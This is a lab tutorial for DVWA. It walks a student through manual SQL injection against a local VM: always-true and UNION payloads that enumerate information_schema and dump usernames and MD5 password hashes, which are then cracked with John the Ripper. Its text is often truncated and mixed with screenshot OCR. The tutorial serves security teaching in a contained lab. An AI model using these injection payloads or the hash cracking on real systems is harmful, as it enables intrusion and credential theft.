# (Damn Vulnerable Web App (DVWA))

{ Manual SQL Injection, John the Ripper }

# Section 0. Background Information

- What is Damn Vulnerable Web App (DVWA)?
  - Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application t damn vulnerable.
  - Its main goals are to be an aid for security professionals to t skills and tools in a legal environment, help web developers be understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a room environment.
- What is a SQL Injection?
  - SQL injection (also known as SQL fishing) is a technique often attack data driven applications.
  - This is done by including portions of SQL statements in an entrin an attempt to get the website to pass a newly formed rogue S command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exp security vulnerability in an application's software.
  - The vulnerability happens when user input is either incorrectly for string literal escape characters embedded in SQL statements input is not strongly typed and unexpectedly executed. SQL inje mostly known as an attack vector for websites but can be used t any type of SQL database.
- What is SQL Injection Harvesting?
  - SQL Injection Harvesting is where a malicious user supplies SQL statements to render sensitive data such as usernames, password database tables, and more.
- Pre-Requisite Lab
  - o Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
- Lab Notes
  - In this lab we will do the following:

- 1. We use inject always true SQL statements into the SQL Inject User ID field with security set to low.
- 2. We will obtain the username and raw-MD5 password contents users table.
- 3. We will use John the Ripper to crack the raw-MD5 password each user.
- Legal Disclaimer
  - As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
  - In accordance with UCC § 2-316, this product is provided with "warranties, either expressed or implied." The information conta provided "as-is", with "no guarantee of merchantability."
  - In addition, this is a teaching website that does not condone m behavior of any kind.
  - Your are on notice, that continuing and/or using this lab outsi "own" test environment is considered malicious and is against t
  - © 2012 No content replication of any kind is allowed without exwritten permission.

# Section 1: Configure Fedora14 Virtual Machine Settings

- 1. Open Your VMware Player
  - Instructions:
    - 1. On Your Host Computer, Go To
    - 2. Start --> All Program --> VMWare --> VMWare Player
- 2. Edit BackTrack Virtual Machine Settings

- 1. Highlight fedoral4
- 2. Click Edit virtual machine settings

d Off
Linux
tion 6.5-7.x virtual machine
achine
achine settings
-

3. Edit Network Adapter

- Instructions:
  - 1. Highlight Network Adapter
  - 2. Select Bridged
  - 3. Click on the OK Button.

	Hardware Options	Summary 512 MB 1 20 GB Auto detect Auto detect Present Auto detect Present Auto detect	Device status Connected Connect at power on Network connection Replicate physical network connection state NAT: Used to share the host's IP address Host-only: A private network shared with the host LAN segment: LAN segment: Advance
--	------------------	---	---

# Section 2: Login to Fedora14

0

- 1. Start Up VMWare Player
- 2. Select Fedoral4
- 3. Play virtual machine



# 2. Login to Fedoral4

- 1. Login: student
- 2. Password: <whatever you set it to>.

Fedora14 - VMware Player File - Vir	tual Machine 🔻 Help 👻	
	Fedora14	M Smol
	Password:	
	Cancel Log	
English (United States)	✓ # USA ✓	Sun 10:42 AM

# Section 3: Open Console Terminal and Retrieve IP Address

- 1. Start a Terminal Console
  - Instructions:

0

1. Applications --> Terminal



## 2. Switch user to root

- 1. su root
- 2. <Whatever you set the root password to>

🚱 Applications Places System 😫 🙈	2	4	Sun Apr 1, 10:46	AM Stude
	root@Fedora14:~	1 2		
File Edit View Search Terminal Help				
student@Fedoral4 ~]\$ su - root assword: root@Fedoral4 ~]# ∎				
m mot@Eedora14:				25
I TOOLGTEGOIA14.~				

3. Get IP Address

- Instructions:
  - 1. ifconfig -a
- Notes (FYI):
  - As indicated below, my IP address is 192.168.1.106.
  - Please record your IP address.



# Section 4: Configure BackTrack Virtual Machine Settings

- 1. Open Your VMware Player
  - Instructions:
    - 1. On Your Host Computer, Go To
    - 2. Start --> All Program --> VMWare --> VMWare Player

## 2. Edit BackTrack Virtual Machine Settings

- 1. Highlight BackTrack5R1
- 2. Click Edit virtual machine settings

Home	
Bad(Trad(SR))	
	BackTrack5R1
	State: Powered Off OS: Ubuntu Version: Workstation 6.5-7.x virtual machi RAM: 512 MB
	Play virtual machine

# 3. Edit Network Adapter

- 1. Highlight Network Adapter
- 2. Select Bridged
- 3. Do not Click on the OK Button.

Hardware Options	Summary 512 MB 1 20 GB Auto detect Auto detect Present Auto detect Present Auto detect	Device status Connected Connect at power on Network connection Replicate physical network connection state NAT: Used to share the host's IP address Host-only: A private network shared with the host LAN segment: LAN segment: Advance
	Add Remo	we

# Section 5: Login to BackTrack

0

1. Start BackTrack VM Instance

- 1. Start Up VMWare Player
- 2. Select BackTrack5R1
- 3. Play virtual machine

Home BackTrack5R1	
	III III III III III III III III III II
	BackTrack5R1
	State: Powered Off OS: Ubuntu
	RAM: 512 MB
	Play virtual machine

# $2. \ \text{Login to BackTrack}$

- 1. Login: root
- 2. Password: toor or <whatever you changed it to>.

-	BackTrackSR1 - VMware Player File * Virtual Machine * Help *	- 5
2	2 3125671 Commight (c) 1999-2009 ISI Commonation	
i i	3 3134561 FDC A is a nost-1991 82072	
ř	3 3408721 proset32: proset32 c:u1 35 21 Apr 2008 tshowend@alpha franken de	
Ē	3.360567] ncnet32.0000:02:01.0: PCI INT A -> 6SI 19 (level, low) -> IR0 19	
C	3.3648711 appgart-intel 0000:00:00.0: Intel 440BX Chipset	
t	3.3685321 pcnet32: PCnet/PCI 11 79C970A at 0x2000, 00:0c:29:90:13:78 assigned IR0	19
E	3.3729311 agggart-intel 0000:00:00.0: AGP aperture is 256M 0 0x0	
E.	3.3769161 pcnet32: eth0: registered as PCnet/PCI II 79C970A	
E	3.384739] pcnet32: 1 cards_found	
E	3.404691] Fusion MPT SPI Host driver 3.04.18	
E.	3.408410] mptspi 0000:00:10.0: PCI INT A -> GSI 17 (level, low) -> IRQ 17	
E	3.4087331 mptbase: ioc0: Initiating bringup	
E	3.488282] ioc0: LSI53C1030 B0: Capabilities={Initiator}	
E	3.656180] scsi2 : ioc0: LSI53C1030 B0, FwRev=01032920h, Ports=1, MaxQ=128, IRQ=17	
E	3.775716] scsi 2:0:0:0: Direct-Access UMware, UMware Virtual S 1.0 PQ: 0 ANS	1:2
E	3.779710J scsi target2:0:0: Beginning Domain Validation	
5	3.783701] scsi targetZ:0:0: Domain Validation skipping write tests	
F	3.7837721 scsi target2:0:0: Ending Domain Validation	
5	3.787761] scsi target2:0:0: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 127)	
	3.794467] sd 2:0:0:0: [sda] 41943040 512-byte logical blocks: (21.4 GB/20.0 G1B)	
	3.795671 sd 2:0:0:0: [sda] write Protect is off	
	3.7550111 Sa 2.00000 [Saa] Cache data (magaliable	
	3.7550011 Sa 2.0.0.0; Isaal Hssuming arive cache: write through	
	3 8013761 ed 2:0:0:0: Icdal Cache data unavitable	
F	3.8036761 sd 2.0.0.0. Isdal desuming drive cache: unite through	
F	3.8556261 eda: eda1 eda2 < eda5 >	
i i	3.8832261 sd 2:0:0:0: [sda] Cache data unavailable	
Ē	3.8875051 sd 2:0:0:0: [sda] Assuming drive cache: write through	
Ľ	3.887577] sd 2:0:0:0: [sda] Attached SCSI disk	
Ba	nckTrack 5 R1 - Code Name Revolution 32 bitbt tty1	
bt	t login: root	
Pa	assword:	
1		
To	direct input to this vitual machine, press Ctrl+G	are

3. Bring up the GNOME o Instructions:

0

1. Type startx

BackTrackSR1 - VMware Player File + Vietual Machine + Help +	
[=] To start a graphical interface, type "starts". [=] The default root password is "toor".	
rmot@ht:"# startx	
M	
To dent insuit to this virtual machine oness Col+G	CONTRACTOR MINAR

# Section 6: Open Console Terminal and Retrieve IP Address

- 1. Open a console terminal
  - Instructions:

0

1. Click on the console terminal



- 2. Get IP Address
  - Instructions:
    - 1. ifconfig -a
  - Notes(FYI):
    - As indicated below, my IP address is 192.168.1.105.
    - Please record your IP address.



# Section 7: Login to DVWA

- 1. Start Firefox
  - Instructions:
    - 1. Click on Firefox



2. Login to DVWA

- 1. Start up Firefox on BackTrack
- 2. Place http://192.168.1.106/dvwa/login.php in the address b
  Replace 192.168.1.106 with Fedora's IP address obtain (Section 3, Step 3).
- 3. Login: admin
- 4. Password: password
- 5. Click on Login

Applications Places Sys	tem	d 🖂 Mon Apr 16, 6:14 AM 💄
🔨 👻 🗶 Damn Vulnerab	le Web App (DVWA) - Login - Mozilla Fir	efox
ile <u>E</u> dit ⊻iew History <u>B</u> ool	kmarks Tools Help	
Damn Vulnerable Web App	(DV	
📮 🕪 😆 🛅 http://192	168.1.106/dvwa/login.php	୍ର 🔻 ୯ 🚼 🖲 ବ
	Username admin	
	Username admin Password	
	Username admin Password	
	Username admin Password	
	Username admin Password Cogin	
	Username admin Password Login	
	Username admin Password Cogin	
	Username admin Password Cogin	
	Username admin Password Cogin	
Damp Veloerable 144	Username admin Password Cogin	

# Section 8: Set Security Level

- 1. Set DVWA Security Level
  - Instructions:
    - 1. Click on DVWA Security, in the left hand menu.
    - 2. Select "low"
    - 3. Click Submit

App	lications Places System 🌾		d 🔣 Mon Apr 16, 6:17 A	м 👗
le <u>E</u> di Dami	* Damn Vulnerable We t View History Bookmarks n Vulnerable Web App (DV	b App (DVWA) v1.0.7 :: DVWA Security s Tools Help	- Mozilla Firefox	
	S http://192.168.1.	106/dvwa/security.php	() V C	Soogl/Q
	Home	DVWA Security 🤒		
	Instructions	-		
1	Setup	Script Security		
		Security Level is currently low.		
	Brute Force	You can set the security level to low, medium	or high.	
	Command Execution	The security level channes the uninerability level	vel of DVWA	
	CSRF	The second for changes the remaining to		
	File Inclusion	liow V Submit 3.		
	SQL Injection	medium		
	SQL Injection (Blind)	PHPIDS		
	Upload	PHPIDS v 0.6 (PHP-Intrusion Detection Syste	m) is a security layer for PHP based y	web applications.
	XSS reflected	Very can enable PHPIDS across this site for th	a duration of your spesion	neo approvincio.
	XSS stored		e duración or your sessión.	
		PhPiDS is currently disabled. [enable PhPiD		
	DVWA Security 1.	[Simulate attack] - [View IDS log]		
	PHP Info			
	About			
	Lanaut			
Scrip	ots Currently Forbidden   <50	CRIPT>: 1   <object>: 0</object>		Options.
(h)	Damn Vulnerable Web	⊡ root@bt:~		10 I

# Section 9: Manual SQL Injection

1. SQL Injection Menu

- Instructions:
  - 1. Select "SQL Injection" from the left navigation menu.

✓ × Damn Vulnerable W Edit View History Bookman Damn Vulnerable Web App (DV	Veb App (DVWA) v1.0.7 :: Vulnerability: SQL In ks Iools Help	jection - Mozilla Firefox	
<b>S 2</b> http://192.168.	1.106/dvwa/vulnerabilities/sqli/		3oogl
Home	Vulnerability: SQL Injection	on	
Instructions Setup	User ID:		
Brute Force Command Execution CSRF	More info	ul D 7815 Interni	
File Inclusion SQL Injection	http://en.wikipedia.org/wiki/SQL_injection http://www.unixwiz.net/techtips/sgl-injection.html		
SQL Injection (Bilnd) Upload			
XSS stored			

2. Basic Injection

- Instructions:
  - 1. Input "1" into the text box.
  - 2. Click Submit.
  - 3. Note, webpage/code is **supposed to** print ID, First name, and to the screen.
- Notes (FYI):
  - Below is the PHP select statement that we will be exploit specifically \$id.
    - \$getid = "SELECT first\_name, last\_name FROM users WHERE user\_id

<ul> <li>Ittp://192.168.1.106/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#</li> <li>Ittp://www.com/security.com/</li></ul>	Applications Places System  A V * Damn Vulnerable V  File Edit View History Bookma  Damn Vulnerable Web App (DV)	이 교 Mon Apr 16, 6:30 AM 💄 Veb App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox rks Tools Help
Home   Instructions   Setup   Brute Force   Command Execution   CSRF   File Inclusion   SQL Injection   SQL Injection   Upload   XSS reflected   XSS stored	🝦 🎲 🛇 💽 http://192.168	1.106/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
Instructions         Setup         Brute Force         Command Execution         CSRF         File Inclusion         SQL Injection (Blind)         Upload         XSS reflected         XSS stored	Home	Vulnerability: SQL Injection
Brute Force       ID: 1         Command Execution       First name: admin         CSRF       File Inclusion         SQL Injection       More info         SQL Injection (Blind)       http://www.securiteam.com/securityreviews/50P0N1P76E.html         Upload       http://www.unixwiz.net/techtips/sql-injection.html         XSS stored       ID: 1	Instructions Setup	User ID:
File Inclusion         SQL Injection         SQL Injection (Blind)         Upload         XSS reflected         XSS stored	Brute Force Command Execution CSRF	ID: 1 First name: admin Surname: admin
SQL Injection (Blind)         http://www.securiteam.com/securityreviews/5DP0N1P765.html           Upload         http://www.securiteam.com/securityreviews/5DP0N1P765.html           XSS reflected         http://www.sunixwiz.net/techtips/sql-injection.html           XSS stored	File Inclusion SQL Injection	More info
XSS stored	SQL Injection (Blind) Upload XSS reflected	http://www.securiteam.com/securityreviews/5DP9N1PZ6E.html http://en.wikipedia.org/wiki/SQL_injection http://www.unixwiz.net/techtips/sgl-injection.html
	XSS stored	

3. Always True Scenario

- Instructions:

  - 1. Click Submit
- Notes (FYI):
  - In this scenario, we are saying display all record that ar and all records that are **true**.
    - %' Will probably not be equal to anything, and wil false.
    - '0'='0' Is equal to true, because 0 will always equ
  - Database Statement
    - mysql> SELECT first\_name, last\_name FROM users WHERE user\_id =
      '0'='0';

Applications Places System	। 🕑 🖭 🛛 🖉	🖂 Mon Apr 16, 6:42 AM	4 🕹
🔨 👻 🗶 Damn Vulnerable	Web App (DVWA) v1.0.7 :: Vulnerability: SQL Inje	tion - Mozilla Firefox	
jle Edit ⊻iew History Bookm	arks Tools Help		
Damn Vulnerable Web App (D	/		
💭 🧼 🔕 💆 http://192.16	3.1.106/dvwa/vulnerabilities/sqli/?id=%25'+or+'0'%3D'08	Submit=Subm 🕥 🔻 C	Sough Google
Home	Vulnerability: SQL Injection	ı	
Instructions	Liser ID:		
Setup			
	%'or '0'='0		
Brute Force	ID: %' or '0'='0		
Command Execution	First name: admin Surname: admin		
CSRF	ID: %' or '8'='8		
File Inclusion	First name: Gordon		
SQL Injection	Surname: Brown		
SQL Injection (Blind)	First name: Hack		
Upload	Surname: Me		
XSS reflected	ID: %' or '0'='0		
XSS stored	Surname: Picasso		
DVWA Security	ID: %' or '0'='0 First name: Rob		
PHP Info	Surname: Smith		
About			
	More info		
Logout	Teller (Assess a secol frame second second based on a second second	76E bitml	
C	THE AWWW RECUTINING CONTINUED IN THE WORLD'S PONTP	Abe, admi	
🖬 😣 Damn Vuinerable Web .	📰 🗈 root@bt: ~		1 N N N N N N N N N N N N N N N N N N N

- 4. Display Database Version
  - Instructions:

- 1. Click Submit
- Notes (FYI):
  - Notice in the last displayed line, 5.1.60 is displayed in surname.
  - This is the version of the mysql database.



5. Display Database User

- Notes (FYI):
  - Notice in the last displayed line, root@localhost is displ the surname.
  - This is the name of the database user that executed the be scenes PHP code.

<ul> <li>× Damn Vulnerable W</li> </ul>	/eb App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox
Ędit ⊻iew History Bookmar	ks Ipols Help
imn Vulnerable Web App (DV.	
S http://192.168.	1.106/dvwa/vulnerabilities/sqli/?id=%25'+or+0%3D0+union+select+n 💿 🔻 C 🔡 🔻 Go
Home	Vulnerability: SQL Injection
Instructions	liear ID:
Setup	
	=0 union select null, user() = Submit Submit % or 0=0 union select null, user() #
Brute Force	ID: %' or 0=0 union select null, user() #
Command Execution	Surname: admin
CSRF	ID: %' or 0=0 union select null, user() #
File Inclusion	First name: Gordon Surname: Brown
SQL Injection	TD: %' or 0=0 union select null user() #
SQL Injection (Blind)	First name: Hack
Upload	Surname: Me
XSS reflected	ID: %' or 0=0 union select null, user() # First name: Pablo
XSS stored	Surname: Picasso
DVWA Security	<pre>ID: %' or 0=0 union select null, user() # First name: Bob</pre>
PHP Info	Surname: Smith
About	ID: %' or 0+0 union select null, user() # First name:
Logout	Database user that executed the comma
Logout	

6. Display Database Name

0

- Notes(FYI):
  - Notice in the last displayed line, dvwa is displayed in the surname.
  - This is the name of the database.

Applications Places System	👌 🖂 Mon Apr 16, 7:16 AM 👗
V X Damn Vulnerable W	eb App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox
Edit View History Bookmark	s Iools Help
amn vulnerable Web App (DV	*
S Mttp://192.168.1	.106/dvwa/vulnerabilities/sqli/?id=%25'+or+0%3D0+union+select+n 🕐 🔻 🖉 👹 🖲 Googl 🔍
Home	Vulnerability: SQL Injection
Instructions	Hear ID:
Setup	User ID.
	ion select null, database() # Submit 🛹 % or 0=0 union select null, database() #
Brute Force	ID: %' or 0=0 union select null, database() #
Command Execution	First name: admin Surname: admin
CSRF	TD: %' or 0=0 union select null_database() #
File Inclusion	First name: Gordon
SQL Injection	Surname: Brown
SQL Injection (Blind)	ID: %' or 8=0 union select null, database() # First name: Hack
Upload	Surname: Me
XSS reflected	<pre>ID: %' or 0=0 union select null, database() #</pre>
XSS stored	Surname: Picasso
DVWA Security	ID: %' or 0=0 union select null, database() #
PHP info	Surname: Smith
About	ID: %' or 0=0 union select null, database() #
	First name: Surname: dywal deal This is the name of the database
Logout	
Damn Vulnerable Web	🗈 root@bt: ~

## 7. Display all tables in information\_schema

#### • Instructions:

- 0. Input the below text into the User ID Textbox (See Picture
- %' and 1=0 union select null, table\_name from information\_schema1. Click Submit
- Notes (FYI):
  - Now we are displaying all the tables in the information\_so database.
  - The INFORMATION\_SCHEMA is the information database, the pl stores information about all the other databases that the server maintains.

Sile Edit View History Bookma	Veb App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox rks Tools Help
Damn Vulnerable Web App (DV	1.106/dvwa/vulnerabilities/soli/?id=%25'+and+1%3D0+union+select+null%2
	DYWA
Home	Vulnerability: SQL Injection
Instructions	User ID:
Setup	% and 1=0 union select null, table_name from information_schema.
Brute Force	The bit and 1-0 union calact null table name from information scheme tables
Command Execution	First name:
CSRF	The bit and 1-0 union called call. Table area from information scheme tables a
File Inclusion	First name:
SQL Injection	Surname: COLLATIONS I fiformation_schema table name
SQL Injection (Blind)	ID: %' and 1=0 union select null, table_name from information_schema.tables # First name:
Upload	Surname: COLLATION_CHARACTER_SET_APPLICABILITY 💠 information_schema table nam
	10: %' and 1=0 union select null, table_name from information_schema.tables #
XSS reflected	FIFST Damp
XSS reflected XSS stored	Surname: COLUMNS 🖛 information_schema table name

8. Display all the user tables in information\_schema • Instructions:

- 0. Input the below text into the User ID Textbox (See Picture %' and 1=0 union select null, table\_name from information\_schem
  - where table\_name like 'user%'#
- 1. Click Submit

## • Notes (FYI):

0

 Now we are displaying all the tables that start with the p "user" in the information\_schema database.

😫 IlackTrack5R1 - VI	Iware Player File + Virtual Machine + Help +	-
Applications Plac	res System 🌏 🔽 🕴 🖞 🗔 Mon Apr 16, 8:54 AM 👗	
A Y X Damn V	Inerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox	
Elle Edit View Histo	ry Bookmarks Tools Help	
Damn Vulnerable V	Neb App (DV 📲	
🡙 🧅 🌑 🖿 ht	tp://192.168.1.106/dvwa/vulnerabilities/sqli/?id=%25'+and+1%3D0+union+select+null%2C+table_name 👘 🦿 🛃 🖲 Go	iogle Q
	DYWA	
ome	Vulnerability: SQL Injection	
structions	Liear ID:	
etup	% and 1-0 union select null, table_name from information_schema.tables where table_name are table_name like user% 5 Submit	ie like 'user%
rute Force	ID: %' and 1=0 union select null, table name from information schema.tables where table name	like 'user
pmmand Execution	First name: Surname: USER PRIVILEGES	
BRF	ID: %' and 1+8 union select null, table name from information scheme tables where table name	like tuser
le Inclusion	First name:	
outinjection	Surname: Users initials the users table that contains the password information	
QL Injection (Blind)	ID: %' and 1=0 union select null, table_name from information_schema.tables where table_name First name:	like 'user
pload	Surname: user	
5S reflected		
SS stored	More info	
• •		-
S Scripts Currently F	orbidden   <script></script>	

- - 0. Input the below text into the User ID Textbox (See Picture
    - %' and 1=0 union select null,
      - concat(table\_name,0x0a,column\_name) from
      - information\_schema.columns where table\_name = 'users'
  - 1. Click Submit
  - Notes(FYI):

- Now we are displaying all the columns in the **users** table.
- Notice there are a user\_id, first\_name, last\_name, user an Password column.

Applications Places System	🖉 🗔 Mon Apr 16, 9:28 AM 👤	
	eb App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox s Tools Help	
S Mttp://192.168.1.	106/dvwa/vulnerabilities/sqli/?id=%25'+and+1%3D0+union+select+r 🔹 🔻 😋 👫 🛪 Google	2
Setup	where table_name = 'users' # Submit	
Brute Force	ID: %' and 1w0 union select null, concat(table name.0x0a.column name) f	r os
Command Execution	First name:	
CSRF	user_id This is the "user_id" column name	
File Inclusion	ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) f	ros
SQL Injection	First name: Surname: users	
SQL Injection (Blind)	first_name 🖛 This is the "first_name" column name	
Upload	<pre>ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) f First name;</pre>	ron
XSS reflected	Surname: users	
XSS stored	Last_name 💶 This is the "last_name" column name	
DVWA Security	ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) f First name: Surname: users	1.01
PHP Info	user 🐗 This is the "users" column name	
About	<pre>ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) f First name: Surname: users</pre>	ron
Logout	password 🖕 This is the "password" column name	
	<pre>ID: %' and 1=0 union select null, concat(table_name.0x0a,column_name) f First name: Surname: users avatar</pre>	ron
Damn Winerable Web	🕞 root@bt: ~	

10. Display all the columns field <u>contents</u> in the information\_schema use o **Instructions**:

- 1. Click Submit
- Notes (FYI):

0

• Now we have successfully displayed all the necessary auther information into this database.



# Section 10: Create Password Hash File

- 1. Create Password Hash File
  - o Instructions:
    - 1. Highlight both admin and the password hash
    - 2. Right Click
    - 3. Copy



- 2. Open Notepad
  - Instructions:
    - 1. Applications --> Wine --> Programs --> Accessories --> Not



#### 3. Paste in Notepad

### • Instructions:

1. Edit --> Paste



#### 4. Format in Notepad

- 1. Place a ":" immediately after admin
- 2. Make sure your cursor is immediately after the ":" and hit delete button.
- Now you should see the user admin and the password hash see by a ":" on the same line.
- 4. Cut the username and password combinations for gordonb, 13 pablo, and smitty from (Section 11, Step 1) and paste in t as well.



5. Save in Notepad

- 1. Navigate to --> /pentest/passwords/john
- 2. Name the file name --> dvwa password.txt
- 3. Click Save

	tions Places System	1	4 🖾	Mon Apr 16, 11:27 AM 📥
ntitled -	Notepad			1
Save	- Constants -			
we in:	💼 john 💌			
doc	Desktop			
mysql.txt	My Documents			
	Directed			
	passwords	<1		
	iii john			
				-
le Dame:	dvwa_password.txt		Şave	E
le pame: les of type:	(dvwa_password.txt		Save Cancel	
le pame: les of type: xcoding:	dwwa_password.bxt		Save Cancel	5
le game: les of type: xcoding:	dvwa_password.txt Text files (*.txt) ANSI Latin 1		Save Cancel	5
le game: les of type: xcoding:	(drwa_password.txt Text files (*.txt) ANSI Latin 1	2	Save Cancel	
le name: les of type: xcoding:	dvwa_password.txt	×	Save Cancel	
le game: les of type: xcoding:	(dvwa_password.tot Text files (*.tot) [ANSI Latin 1	2	Save Cancel	
le game: les of type: ncoding:	(dvwa_password.txt	2	Save Cancel	
le game: les of type: ncoding:	dwwa_password.txt	2	Save Cancel	
le name: les of type: xcoding:	dwwa_password.bxt		Save Cancel	
le game: les of type: ncoding:	dwwa_password.txt Text files (*.txt) ANSI Latin 1		Save Cancel	
le pame: les of type: xcoding:	(dvwa_password.txt Text files (*.txt) ANSI Latin 1	▼ pot@bt: /pentest/pass	Save Cancel	

# Section 11: Proof of Lab Using John the Ripper

1. Proof of Lab

0

#### • Instructions:

- 1. Bring up a new terminal, see (Section 7, Step 1)
- 2. cd /pentest/passwords/john
- 3. ./john --format=raw-MD5 dvwa\_password.txt
- 4. date
- 5. echo "Your Name"
  - Replace the string "Your Name" with your actual name.
  - e.g., echo "John Gray"

### • **Proof of Lab Instructions**:

- 1. Do a <PrtScn>
- 2. Paste into a word document
- 3. Upload to Moodle

